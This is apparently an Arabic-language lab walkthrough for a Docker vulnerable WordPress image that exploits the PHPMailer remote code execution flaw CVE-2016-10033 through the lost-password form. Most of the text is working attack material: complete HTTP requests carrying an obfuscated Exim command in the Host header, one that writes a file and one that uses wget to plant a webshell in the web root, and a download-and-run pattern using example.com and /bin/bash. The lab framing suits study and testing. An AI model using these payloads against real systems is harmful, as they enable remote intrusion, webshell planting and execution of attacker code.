
بيئة مختبرية قائمة على Docker لتنفيذ الأكواد عن بُعد في ووردبريس <= 4.6 عبر PHPMailer (CVE-2016-10033)، بما في ذلك إثبات المفهوم (PoC)، رفع الويب شيل، وحمولات الصدفة العكسية.
WordPress هي منصة تدوين تم تطويرها باستخدام لغة PHP، حيث يمكن للمستخدمين إنشاء مواقعهم الخاصة على خوادم تدعم PHP وقاعدة بيانات MySQL. يمكن أيضًا استخدام WordPress كنظام لإدارة المحتوى (CMS). يستخدم WordPress مكوّن PHPMailer لإرسال رسائل البريد الإلكتروني إلى المستخدمين. يحتوي PHPMailer (الإصدار < 5.2.18) على ثغرة تنفيذ أوامر عن بُعد؛ حيث يحتاج المهاجم فقط إلى صياغة عنوان بريد إلكتروني خبيث بمهارة لكتابة أي ملفات، مما يؤدي إلى تنفيذ أوامر عن بُعد.
WordPress <= 4.6
| النوع | اسم المستخدم | كلمة المرور |
|---|
| Mysql | root | root |
| /wp-admin/ | admin | admin123 |
$ docker pull medicean/vulapps:w_wordpress_6
$ docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6
الرقم
8000الموجود قبل-p 8000:80يمثل منفذ الجهاز الفعلي، ويمكن تحديده حسب الرغبة.
عند زيارة http://127.0.0.1:8000 ورؤية الواجهة الرئيسية لـ WordPress، فهذا يعني أن البيئة تم تشغيلها بنجاح
على افتراض أن العنوان المستهدف هو: http://127.0.0.1:8000/
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}vuln}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
تشير رؤية رمز الحالة 200 إلى أنه تم إنشاء ملف /var/www/html/vuln بنجاح
يمكنك زيارة هذا العنوان قبل إرسال الحزمة، وستظهر لك رسالة 404
الفكرة: أنشئ ملفًا نصيًا على خادم HTTP بعيد، ثم قم بتنزيله إلى الجهاز الهدف باستخدام wget
بما أنه يمكنك تنفيذ الأوامر بالفعل، فما الحاجة إلى نقل WebShell؟
/usr/bin/wget --output-document /var/www/html/webshell.php raw.githubusercontent.com/medicean/vulapps/master/w/wordpress/6/webshell.php
ملاحظة:
- يجب ألا يحتوي URL البعيد على
http://- يجب أن تكون جميع الأحرف صغيرة (lowercase)
- استبدل جميع
/بـ${substr{0}{1}{$spool_directory}}- استبدل جميع المسافات بـ
${substr{10}{1}{$tod_log}}
الرسالة كما يلي (استبدل user_login حسب الحالة الفعلية، القيمة الافتراضية هي admin):
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}webshell.php${substr{10}{1}{$tod_log}}raw.githubusercontent.com${substr{0}{1}{$spool_directory}}medicean${substr{0}{1}{$spool_directory}}vulapps${substr{0}{1}{$spool_directory}}master${substr{0}{1}{$spool_directory}}w${substr{0}{1}{$spool_directory}}wordpress${substr{0}{1}{$spool_directory}}6${substr{0}{1}{$spool_directory}}webshell.php}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
إذا كان محتوى الملف النصي البعيد هو سكربت bash، فيمكنك بعد تنزيله إلى الهدف تنفيذ الملف مباشرة باستخدام /bin/bash
/usr/bin/wget --output-document /tmp/rce example.com/1.txt
/bin/bash /tmp/rce